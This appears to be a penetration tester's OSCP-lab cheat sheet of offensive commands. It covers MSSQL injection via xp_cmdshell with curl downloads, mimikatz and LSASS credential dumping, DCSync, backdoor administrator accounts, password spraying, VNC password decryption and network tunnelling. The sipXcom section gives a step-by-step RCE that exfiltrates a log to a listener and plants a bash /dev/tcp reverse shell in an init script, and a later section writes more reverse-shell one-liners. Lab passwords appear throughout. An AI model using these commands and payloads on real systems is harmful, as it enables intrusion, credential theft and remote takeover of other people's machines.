'; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1) WAITFOR DELAY '0:0:5'; --

# Test whether a file exists; delay five seconds if it does
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @@ERROR = 0 WAITFOR DELAY '0:0:5'; --
# This also tests whether a file exists and is easier to use
'; DECLARE @result int; EXEC @result = xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @result = 0 WAITFOR DELAY '0:0:5'; --
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs && ping -n 6 127.0.0.1'; --

# Execute a shell
'; exec master..xp_cmdshell ' curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt '; --

Note: Once xp_cmdshell is confirmed, writing a file is not required; it provides CMD execution.
It can run many commands, such as downloading and executing a file with curl. Writing a file may be the worse choice.

MSSQL statements

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth

-- List all databases
SELECT name FROM master.sys.databases
GO

-- Switch databases
USE databasename
GO

-- List all tables in the current database
SELECT name FROM sysobjects WHERE xtype = 'U'
GO

-- View the contents of a table
SELECT * FROM tablename
GO

Connecting to MSSQL with PowerShell

1
2
3


$sql = "Server=10.10.132.142;Database=master;Integrated Security=True;"
$conn = New-Object System.Data.SqlClient.SqlConnection($sql)
$conn.Open()

Reference: https://blog.csdn.net/kk185800961/article/details/52513640

The one-liner below is enough to run SQL statements. If it does not work, check the reference above.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


$cmd.CommandText = "SELECT name FROM master.dbo.sysdatabases"; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()

# Enable xp_cmdshell
$cmd.CommandText = "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE"; $cmd.ExecuteScalar()

# Execute a system command
$cmd.CommandText = "EXEC xp_cmdshell 'whoami'"; $cmd.ExecuteScalar()

# Current user
$cmd.CommandText = "SELECT SYSTEM_USER"; $cmd.ExecuteScalar()

# Whether the current user is sysadmin
$cmd.CommandText = "SELECT IS_SRVROLEMEMBER('sysadmin')"; $cmd.ExecuteScalar()

# Current user's database permissions
$cmd.CommandText = "SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()"; $cmd.ExecuteScalar()

# Server-level permissions
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'SERVER')"; $cmd.ExecuteScalar()

# Database-level permissions
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'DATABASE')"; $cmd.ExecuteScalar()

# SQL Server version
$cmd.CommandText = "SELECT @@version"; $cmd.ExecuteScalar()

# Server name
$cmd.CommandText = "SELECT @@SERVERNAME"; $cmd.ExecuteScalar()

# Current database
$cmd.CommandText = "SELECT DB_NAME()"; $cmd.ExecuteScalar()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


MSSQL privilege-escalation technique

This MSSQL privilege-escalation method uses IMPERSONATE permission:

First, check whether another user can be impersonated:

-- Query users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

The hrappdb-reader user can be impersonated
Perform impersonation:
EXECUTE AS LOGIN = 'hrappdb-reader'

Successful impersonation grants hrappdb-reader permissions and access to the hrappdb database

64.mimikatz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


# Mimikatz one-line execution command
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe /c "privilege::debug" /c "token::elevate" /c "lsadump::sam"
mimikatz "privilege::debug" "token::elevate" "lsadump::sam"

# Extract all credentials
 lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache
mimikatz.exe "lsadump::sam" "privilege::debug" "sekurlsa::msv" "lsadump::secrets" "lsadump::cache" "exit"
# Extract all logon credentials
mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Or extract domain-administrator credentials specifically
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /user:administrator" "exit"

# Extract potentially available usernames and passwords
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"

# If running as administrator, try retrieving tickets from the current computer
Using the sekurlsa module (from LSASS memory):

# From the running LSASS process
sekurlsa::tickets # View all tickets
sekurlsa::tickets /export # Export all tickets

mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"

# From a dump file
sekurlsa::minidump lsass.dmp # Load the dump
sekurlsa::tickets # View tickets in the dump

Using the kerberos module (from the current session):

powershellCopy# View tickets
kerberos::list # List tickets in the current session
kerberos::tgt # View the current TGT
kerberos::purge # Purge all tickets

# Export tickets
kerberos::list /export # Export all tickets
# Tickets are exported as .kirbi files by default

# Ticket operations
kerberos::ptt ticket.kirbi # Inject a ticket (Pass the Ticket)

# Domain-controller synchronization with DCSync
.\mimikatz.exe
lsadump::dcsync /user:DC01\web_svc
lsadump::dcsync /user:corp\Administrator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# View domain-administrator logon sessions
query user /server:localhost

# Check logon history in the registry
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"

# Create an LSASS dump
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp

# Then analyze it with Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

66.Domain Information Gathering

1
2
3
4
5
6


# View domain controllers
nltest /dclist:medtech.com

# Or
nslookup -type=SRV _ldap._tcp.medtech.com
nslookup -type=SRV _gc._tcp.medtech.com

67.ligolo-ng

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3

Attacker machine
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

Target machine
.\agent.exe -connect 192.168.45.184:11601 -ignore-cert

Configure routing
sudo ip route add 10.10.174.0/24 dev ligolo

session # Show all available sessions
session list # List all sessions
session <ID> # Select a specific sessionifconfig # Show network-interface configuration
info # Show current-session information
listener_list # Show all listeners
bashCopystart # Start the selected session
stop # Stop the current session

68.Windows: Add a User to the Remote Desktop Users Group

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


#Enable Remote Desktop
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

cmd /c net user gesila Admin@123 /add
cmd /c net localgroup Administrators gesila /add
cmd /c net localgroup "Remote Desktop Users" gesila /add

# Domain format
xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea

# Local format
xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea

Reference the file as follows
xfreerdp file.rdp /d:skylark /u:kiosk /p:'XEwUS^9R2Gwt8O914'

69.windows_history

1

C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

70.powershell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

Enter-PSSession -ComputerName CLIENT02 -Credential $cred
Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred

New-PSSession -ComputerName CLIENT02 -Credential $cred
New-PSSession -ComputerName 172.16.131.83 -Credential $cred
# 1. Enter an existing session by session ID
Enter-PSSession -Session (Get-PSSession -Id 18)

# 2. Or use ComputerName to create and enter a new session directly
Enter-PSSession -ComputerName CLIENT02 -Credential $cred

# List all sessions
Get-PSSession

# Remove a session
Remove-PSSession -Id 18

# Disconnect a session without removing it
Disconnect-PSSession -Id 18

# Reconnect a session
Connect-PSSession -Id 18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#
icacls .\auditTracker.exe
# View detailed permissions
Get-Acl .\auditTracker.exe
# Run with elevated privileges
sc.exe start audtiTracker
sc.exe qc auditTracker
# View the privileges under which the file runs
Start-Process .\auditTracker.exe -Verb RunAs
Get-Service auditTracker | Select-Object *

# View services
 Get-Service "auditTracker"

1
2
3
4
5
6


schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select TaskPath,TaskName

schtasks /query /tn "TASK_NAME" /fo LIST /v
$task = Get-ScheduledTask -TaskName "TASK_NAME"
$task | Select *

71.Domain Enumeration

I’ve used both of these for a long time, but some parameters differ between versions, so I’m writing them all down here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success
# crackmapexec has delay issues and jitter causes errors; netexec works better
netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5

Sometimes "Connection Error: Error while reading from remote" requires manual verification

# Full arguments; a domain can be specified
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success

# https://github.com/ropnop/kerbrute/releases
# For Kerberos brute forcing
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
This can run on a domain member host

72.Other Uses for Vulnerabilities

1
2
3
4
5
6
7


# Read the identity of the user running the program
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ

keepass2john Database.kdbx > 1.txt
keepassxc Database.kdbx
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

73.IMAP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


IMAP commands

# Log in first
a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR

# List all mailboxes
a002 LIST "" "*"

# Select the inbox
a003 SELECT INBOX

# View messages
a004 FETCH 1:* FULL

# View status
a005 STATUS INBOX (MESSAGES)

# List all folders
a006 LSUB "" "*"

74.Library-MS File Attack

https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262

https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df

1

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav

75.postgres

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


https://www.cnblogs.com/renhaoblog/p/15035230.html

psql -h localhost -p 5432 -U postgres

# Specify the database name (the default is the postgres database)
sudo /usr/bin/psql postgres

# Or
sudo -u postgres /usr/bin/psql postgres

# Or use a connection string
sudo /usr/bin/psql "postgresql:///postgres?user=postgres"

CREATE ROLE root WITH SUPERUSER LOGIN;

sudo psql -U postgres

76.Windows Services

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# CMD commands
sc query # Query basic information for all services
sc query state=all # Query services in every state
sc qc <SERVICE_NAME> # Query detailed configuration for a specific service

sc stop <SERVICE_NAME>
sc start <SERVICE_NAME>

Identify the service process
tasklist | findstr GPGService
Stop it
taskkill /F /IM GPGService.exe

# PowerShell commands
Get-Service # View all services
Get-Service | Where-Object {$_.Status -eq "Running"} # View running services
Get-Service -Name "SERVICE_NAME" # View a specific service

# List all services and filter key information
sc query state= all | find /i "SERVICE_NAME" # First obtain all service names
# Then iterate over each service name and query its configuration
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "BINARY_PATH_NAME"

# Or find services running as LocalSystem
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "SERVICE_START_NAME"

Get-WmiObject win32_service | Select-Object Name, PathName, StartName

sc query type= service | findstr /i "dev"

77.Windows DLL/EXE Search-Order Exploitation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


When a service path contains spaces and is unquoted, Windows searches for executables in this order:

CopyC:\Skylar.exe
C:\Skylar\Development.exe # This is why the exploit succeeded!
C:\Skylark\Development Binaries.exe
C:\Skylark\Development Binaries 01.exe
C:\Skylark\Development Binaries 01\DevService.exe

In this case:

The service path is: C:\Skylark\Development Binaries 01\???????.exe
When Windows encounters an unresolvable filename (?????), it searches in the order above
Development.exe was placed in C:\Skylark\
This matches the second location in the search order

Key vulnerability conditions:

The path contains spaces
The path is not quoted
Windows automatically resolves the path

78.TFTP (UDP)

I’d used this service on VulnHub before but never took notes. The catch is that there is no command like dir, so finding files is entirely guesswork.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


# Enter TFTP interactive mode
tftp 192.168.214.222 69

# In interactive mode:
binary # Set binary transfer mode
get file # Download a file
put file # Upload a file

# Download a file
atftp -g -r filename 192.168.214.222 69

# Upload a file
atftp -p -l localfile 192.168.214.222 69

# Download a file
tftp 192.168.214.222 -c get remotefile.txt

# Upload a file
tftp 192.168.214.222 -c put localfile.txt

Configuration file
cat /etc/xinetd.d/tftp

https://nmap.org/nsedoc/scripts/tftp-enum.html
nmap -sVU -p69 --script tftp-enum 192.168.214.222
/usr/share/metasploit-framework/data/wordlists/tftp.txt

79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP

This was a really interesting exploit, but getting it to work was an incredibly rough ride. I barely managed to finish this part with help from Discord and Claude. Maybe it only felt interesting once everything was finally done; while I was learning it, I felt like my brain was turning to mush. I was completely lost during the exploitation process and got stuck here for a day and a half. Every step forced me to stop and think, and nothing worked, over and over again. I didn’t yet have a solid grasp of the exploit itself, so every failed reproduction made things worse. Fortunately, I solved it in the end. If everything had gone smoothly, I probably wouldn’t remember it this well or understand it this deeply. Searching Google for this application turned up nothing but CVE numbers; hardly anyone seemed to be working on the actual exploit.

First, the key reference: https://sploitus.com/exploit?id=1337DAY-ID-38254. This is the only blog post I found that explains how the vulnerability works.

I never found this post through search. I asked around on Discord, but every link people gave me had already been deleted, so the original was gone. This is a backup hosted on another site, and I’ve downloaded a local copy. That was one of the wrong turns I took: the Discord links never opened, and at first I assumed that was simply how it was, only to realize later that the pages had been removed.

That post is the thread running through this entire exploit and contains almost everything you need. If you want to automate the exploitation, you can try https://github.com/AlexLinov/sipXcom-RCE.

I’m doing this manually precisely because the automated approach didn’t work. Next I’ll break down how I reproduced the vulnerability. (Because of the OSCP NDA, a lot of the screenshots will be heavily redacted.)

First, you need credentials. A low-privileged user is enough; where you get them is up to you.

Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I’m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.

Log in as the low-privileged user. The blog explains that you can create a user yourself by clicking create this new account on the server, but I didn’t use that option here.

If you need to go through a proxy, don’t add extra configuration; configuring the proxy unnecessarily can actually make it hang. One tip: if Pidgin freezes with no response after you close and reopen it, run rm -rf ~/.purple/ to delete its configuration, then open it again.

If a pop-up appears, click accept, or you won’t be able to proceed. You also have to fill in Domain, and the corresponding domain and IP must be added to the hosts file; otherwise, the client may not be able to locate the server.

The green indicator is what confirms a successful connection. Anything else means something is wrong with the configuration, possibly including the networking software.

Fill this in to add a chat contact. You can even enter your own account; once it’s filled in, click add.

If nothing appears after adding it, look at the screenshot above and check every option. Only two were selected by default for me. You need all of them enabled to see every user, including people who haven’t accepted the contact request and users who are offline.

Double-click the icon to open the chat window, then build the payload.

1
2
3
4
5
6
7


First, listen on local port 80

nc -lvnp 80

Enter the following in the chat box

@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc

If everything goes as expected, you’ll get the result shown above. The file contains passwords because it stores chat logs, which may hold something useful, such as an administrator password. Just inspect the contents.

Once you’ve found the administrator password, you can build the exploit. The idea is to use an operation that overwrites /etc/init.d/openfire. When sipXopenfire restarts, it reloads the configuration and invokes the shell script inside it, leading to RCE. One line contains the reverse-shell command; remember to change the IP and port.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214


#!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#

#####
# Begin setup work
#####

# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0

# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi

su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"

# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi

# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"

# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"

# -----------------------------------------------------------------

# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi

# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"

# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"

if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi

# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"

# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"

# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi

# Export any necessary variables
export JAVA_HOME JAVACMD

# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""

#####
# End setup work
#####

start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR

PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi

# Start daemons.
echo -n "Starting openfire: "

rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?

echo

[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire

sleep 1 # allows prompt to return
cd $OLD_PWD
}

stop() {
# Stop daemons.
echo -n "Shutting down openfire: "

PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi

RETVAL=$?
echo

[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}

restart() {
stop
sleep 10 # give it a few moments to shut down
start
}

condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}

status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}

findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}

# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac

exit $RETVAL

Save this file locally, for example as openfire.txt. Next, overwrite /etc/init.d/openfire.

@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy

All you need to do is start an HTTP server.

Then enter the command above in the chat window. It will download the file and overwrite the Openfire script.

The only thing left is to restart the service. I’ll describe the route I took, because even the blog never explained where to do this; I had to feel my way through it. Remember to listen on the port specified in the exploit above.

That makes this a pretty detailed walkthrough. Some people on Discord said this was an interesting box, and I agree—though naturally it only felt interesting after I had finished it. After the restart, wait a little while and the root shell should come in.

80.tcpdump

1

tcpdump -i any udp -w capture.pcap

81.BSD

1
2


This directory traditionally stores home directories for temporary or guest users
/usr/guest/

82.Windows Command Line

Permissions

1
2
3
4
5
6
7
8


First, take ownership of the file:
takeown /f "C:\Users\k.smith\.ssh\id_rsa"

Modify file permissions to gain full control:
icacls "C:\Users\k.smith\.ssh\id_rsa" /grant Administrators:F

Force the permission change:
cacls "C:\Users\k.smith\.ssh\id_rsa" /E /P Administrators:F

83.socat

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Use a more verbose listener command:

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT

Or try logging the communication:

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork "SYSTEM:tee /tmp/socat.log"

You can also try interacting with it:

bashCopy# Listen and display all received data in hexadecimal
socat -x UNIX-LISTEN:/tmp/s,fork STDOUT

Expose a local port through a proxy
# On the target machine, forward local port 8888 to port 33333 on 0.0.0.0
socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888

# Create a reverse tunnel
# On the attacker machine:
socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost
# On the attacker machine:
socat TCP:ATTACKER_IP:33333 TCP:127.0.0.1:8888

84.VNC Passwords

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


https://www.cnblogs.com/fczlm/p/17759610.html

VNC password
Configuration path: c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini; decryption tool: https://github.com/jeroennijhof/vncpwd

TightVNC
The encrypted TightVNC password is stored in the registry and requires administrator privileges

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort

Decryption tool: https://github.com/jeroennijhof/vncpwd

RealVNC
The encrypted RealVNC password is stored in the registry and requires administrator privileges.

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
Decryption tool: https://github.com/jeroennijhof/vncpwd

First, create a file containing the raw hexadecimal data:

bashCopy# Use xxd to create a binary file
echo "BFE825DE515A335BE3" | xxd -r -p > vnc.txt
# Then try to decrypt it
./vncpwd vnc.txt

Or try the MSF method:
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt("BFE825DE515A335BE3", fixedkey)

Or try another version of vncpwd:
bashCopygit clone https://github.com/gitdurandal/vncpwd.git
cd vncpwd
make
./vncpwd BFE825DE515A335BE3

vncviewer 192.168.214.220:5900
# Enter password: R3S3+rcH

85.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


Server listener (attacker machine)

# Basic server syntax
./chisel server --reverse -p 8000

Client connection (target machine)
# Basic connection
./chisel client ATTACKER_IP:8000 R:LOCAL_LISTEN_PORT:TARGET_IP:TARGET_PORT

Common command examples:
Reverse-proxy a single port
# Server
./chisel server --reverse -p 8000
# Client
./chisel client ATTACKER_IP:8000 R:8001:TARGET_IP:TARGET_PORT

SOCKS proxy
# Server
./chisel server --reverse -p 8000
# Client
./chisel client ATTACKER_IP:8000 R:socks

86.A Few Things About echo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Using double quotes with echo prevents #!/bin/bash from being written correctly
# Single quotes work correctly

echo '#!/bin/bash' > 1.sh
echo "#!/bin/bash\n" > __fs.sh

# Add -e when escape-sequence interpretation is required
echo '#!/bin/bash' > __fs.sh
echo -e "check_filesystems() {\nbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" > __fs.sh

echo '#!/bin/bash' > 1.sh
echo -e "check_filesystems() {\n\tbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" >> 1.sh

87.dnscat (DNS Tunnel)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


# Step 1: On the Kali attacker machine
# Start the dnscat2 server
dnscat2-server feline.corp # feline.corp is a user-defined domain and can be named freely

# Step 2: On the target machine
# Upload dnscat_exercise_client to the target machine
# Run the client and connect to the server
./dnscat_exercise_client feline.corp # Use the same domain
# The command above suits public networks; on internal networks, point DNS to the Kali machine
# On the target machine:
# Use --dns to specify the server IP and port
./dnscat --dns server=<KALI_IP>,port=53

# Or use a more complete command:
./dnscat --dns server=<KALI_IP>,port=53 --secret=<SECRET_VALUE>

# Step 3: Operate from the dnscat2 server on Kali
# View connection status
dnscat2> windows

# Switch to the session
dnscat2> window -i 1

# Configure port forwarding
command (TARGET_HOSTNAME) 1> listen 0.0.0.0:4455 192.168.176.7:445

88.Detailed Enumeration Inside a Windows Domain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


Local LDAP search
PowerView
Tutorial: https://powersploit.readthedocs.io/en/latest/Recon/

# Import
Import-Module .\PowerView.ps1

# Basic domain information
PS C:\Tools> Get-NetDomain

Forest : corp.com
DomainControllers : {DC1.corp.com}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC1.corp.com
RidRoleOwner : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name : corp.com

# Get-NetUser retrieves a list of all users in the domain
PS C:\Tools> Get-NetUser

logoncount : 113
iscriticalsystemobject : True
description : Built-in account for administering the computer/domain
